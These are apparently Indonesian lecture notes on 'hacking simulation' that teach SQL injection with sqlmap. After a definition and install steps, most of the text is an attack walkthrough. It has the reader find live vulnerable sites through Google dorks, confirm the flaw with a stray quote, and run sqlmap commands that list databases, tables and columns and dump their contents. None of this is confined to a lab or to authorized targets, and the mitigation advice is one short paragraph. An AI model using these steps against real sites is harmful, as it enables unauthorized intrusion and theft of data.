Kitab *Kuning*

Keamanan Sistem Informasi

Simulasi *Hacking*

Oleh :

Dwi Sakethi

(pengrajin sistem informasi)

http://dwijim.wordpress.com

email:dwijim@fmipa.unila.ac.id

phone:0816 403 432

Tulisan meniko dipun serat ngangge LaTeX

mBandar Lampung 2018

Bab 1

SQL *Injection*

1.1 Definisi

Dari wikipedia berbahasa Indonesia, dikutip penjelasan tentang SQL *Injection* sebagai berikut:

> Injeksi SQL (Bahasa Inggris: SQL Injection)adalah sebuah teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa pemrograman lain.

Penjelasan lainnya dapat dibaca di :

`https://id.wikipedia.org/wiki/Injeksi_SQL`

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.

Kelemahan sistem model SQL *Injection* ini sudah lama menjadi isu. Pada masa sekarang ini, sudah jarang terdapat sistem yang memiliki celah kelemahan model SQL *Injection* ini.

SQL *Injection* merupakan salah satu celah keamanan.

[**?**]

1.2 Instal sqlmap pada GNU Linux

Salah satu perangkat lunak yang dapat digunakan dengan mudah untuk mengeksploitasi kelemahan SQL *Injection* adalah SQL Map. Selain itu, juga terdapat perangkat lunak Havij.

sqlmap dapat diinstal dengan urutan perintah:

1. apt-get install git
2. git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
   Proses instalasi memerlukan waktu untuk mengunduh program yang dibutuhkan.

```
root@pinguin:/home/dwijim# git clone https://github.com/sqlmapproject/sqlmap.git sqlm
Cloning into 'sqlmap'...
remote: Counting objects: 63046, done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 63046 (delta 23), reused 28 (delta 16), pack-reused 63003
Receiving objects: 100% (63046/63046), 60.78 MiB | 131.00 KiB/s, done.
Resolving deltas: 100% (49367/49367), done.
root@pinguin:/home/dwijim#
```

3. cd sqlmap-dev
4. Jalankan sqlmap dengan perintah: python sqlmap.py

Pada sistem operasi Kali Linux, sqlmap sudah merupakan paket standar yang tersedia.

1.3 Urutan proses

1. Pertama cari target yang kemungkinan memiliki kelemahan SQL *Injection*. Pencarian ini menggunakan kata kunci yang sering dikenal dengen sebutan *Google dorks*. Contoh dapat dilihat di sini:
   https://deadlyhacker.wordpress.com/2013/05/09/ list-of-google-dorks-for-sql-injection/

   Misalkan pada Google, dengan kata kunc: index.php?id=1.

2. Kemudian dicoba dengan memberikan tanda petik satu. Proses ini untuk memastikan bahwa sistem memiliki kelemahan SQL *Injection*. Misalnya:

```
https://www.inicontoh.com/index.php?id=1'
http://www.inijuga.go/files.php?id=1%27'
```

Jika terdapat pesan seperti :

```
SELECT * FROM content_ews WHERE id=1\'
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax
to use near '\'' at line 1
```

maka ini berarti sistem memiliki kelemahan.

3. Kemudian berikan perintah:

```
sqlmap -u https://www.inicontoh.com/index.php?id=1 --dbs
```

Hasilnya adalah *availables databases ...*

4. Untuk mengetahui nama-nama tabel yang ada ...

```
sqlmap -u https://www.inicontoh.com/index.php?id=1
-D NamaDataBase --tables
```

5. Untuk mengetahui nama-nama kolom pada suatu tabel ...

```
sqlmap -u https://www.inicontoh.com/index.php?id=1
-D NamaDataBase -T NamaTabel --columns
```

6. Untuk mengetahui isi suatu kolom pada suatu tabel ...

```
sqlmap -u https://www.inicontoh.com/index.php?id=1
-D NamaDataBase -T NamaTabel -C NamaNamaKolom --dump
```

1.4 Pengamanan Sistem

Untuk mengatasi masalah SQL *Injection*, cara yang paling mudah adalah dengan memperbaharui sistem basis data dan bahasa program yang digunakan. Selain itu itu, dengan melakukan penyaringan pada setiap isian data yang dilakukan oleh pemakai.